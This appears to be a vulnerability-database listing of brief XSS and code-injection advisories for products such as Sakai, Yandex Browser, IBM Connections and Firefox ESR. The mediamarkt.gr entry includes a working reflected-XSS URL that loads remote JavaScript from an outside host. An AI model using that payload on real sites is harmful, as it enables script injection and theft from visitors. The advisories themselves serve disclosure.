CVE-2015-4591: Improper Neutralization of Input During Web Page Generation

eClinicalWorks Population Health CCMR suffers from a cross site scripting vulnerability in login.jsp which allows remote unauthenticated users to inject arbitrary javascript via the strMessage parameter...

Cross-Site Scripting (XSS)

swagger-ui is vulnerable to cross-site scripting XSS attacks. A malicious user can inject and execute arbitrary javascript by preappending a tag infront of the arbitrary javascript...

WS-2016-7110

In Sakai, versions 11.0 through 11.4 are vulnerable to stored Cross-Site Scripting XSS, due to user input not sanitized when saving content of a wiki page, before rendered by the browser when viewing the wiki page. An attacker could run arbitrary javascript code on other users' browsers...

Cross-Site Scripting (XSS)

gon is vulnerable to cross-site scripting XSS attacks. A malicious user can inject and execute arbitrary javascript when prepended with certain unicode characters...

Cross-Site Scripting (XSS)

django-meta is vulnerable to cross-site scripting XSS attacks. A malicious user can inject and execute arbitrary javascript due to the lack of escaping values before rendering...

Code injection

XSS in Yandex Browser Translator in Yandex browser for desktop for versions from 15.12 to 16.2 could be used by remote attacker for evaluation arbitrary javascript code...

CVE-2016-8506: Improper Neutralization of Input During Web Page Generation

XSS in Yandex Browser Translator in Yandex browser for desktop for versions from 15.12 to 16.2 could be used by remote attacker for evaluation arbitrary javascript code...

PT-2016-3427

Name of the Vulnerable Software and Affected Versions Yandex browser for desktop versions 15.12 through 16.2 Description The issue is related to a lack of protection for the web page structure in the Yandex Browser Translator extension, allowing a remote attacker to conduct a cross-site scripting...

CVE-2016-8505: Improper Neutralization of Input During Web Page Generation

XSS in Yandex Browser BookReader in Yandex browser for desktop for versions before 16.6. could be used by remote attacker for evaluation arbitrary javascript code...

PT-2016-3425

Name of the Vulnerable Software and Affected Versions Yandex browser for desktop versions prior to 16.6 Description The issue is related to a lack of protection for the web page structure in the BookReader extension of Yandex Browser, which could allow a remote attacker to conduct a cross-site...

Pootle Server < 2.7.3 Multiple XSS Vulnerabilities

Pootle server is prone to multiple cross-site scripting XSS vulnerabilities. Copyright C 2016 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is...

IBM Tealeaf Customer Experience Cross-Site Scripting Vulnerability (CNVD-2016-07822)

IBM Tealeaf Customer Experience is a SaaS Software-as-a-Service based analytics solution for web and mobile applications from IBM, USA. The solution helps clients improve the overall user experience by analyzing and understanding data, and supports the adoption of advanced user interfaces for ric...

WebSummit: Reflected xss on websummit.net

Hey guys, TL;DR: Reflected XSS on websummit.net/attendees/featured-attendees as the q parameter is directly reflecting special characters in the data-url on the handlebars template section of the page, as opposed to URL encoding them. Proof of Concept: Visit...

mediamarkt.gr XSS vulnerability

Vulnerable URL: http://www.mediamarkt.gr/el/search.html?storeId=48353=-3=onlineshop=mmdede===test%27;mcs.jQuery.getScript%22//loshackers.de/a.js%22;%27a%27:%27b Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:|...

IBM Connections Cross-Site Scripting Vulnerability (CNVD-2016-06646)

IBM Connections is a suite of social software platforms from IBM in the United States. The platform provides advanced analytics and real-time data monitoring capabilities, and accelerates web collaboration within and outside the organization through IBM SmartCloud services. A cross-site scripting...

IBM Connections Cross-Site Scripting Vulnerability (CNVD-2016-06535)

IBM Connections is a suite of social software platforms from IBM in the United States. The platform provides advanced analytics and real-time data monitoring capabilities, and accelerates web collaboration within and outside the organization through IBM SmartCloud services. A cross-site scripting...

IBM Connections Cross-Site Scripting Vulnerability (CNVD-2016-06536)

IBM Connections is a suite of social software platforms from IBM in the United States. The platform provides advanced analytics and real-time data monitoring capabilities, and accelerates web collaboration within and outside the organization through IBM SmartCloud services. A cross-site scripting...

Cross-Site Scripting

Overview Affected versions of sanitize-html do not sanitize input recursively, which may allow an attacker to execute arbitrary Javascript. Recommendation Update to version 1.4.3 or later. References - Issue 29 - GitHub Advisory...

Thunderbird RCE

The vulnerability of the Thunderbird email client allows a malicious actor to bypass access policy restrictions and execute arbitrary JavaScript code with privileges of a Chrome user, by using frame relays...

Firefox ESR RCE

The vulnerability of Firefox ESR lies in the improper restriction on the resource:URL. Exploiting this vulnerability allows a malicious actor to execute arbitrary JavaScript code with privileges equivalent to those of Chrome, thereby circumventing access control policies. This can be achieved, fo...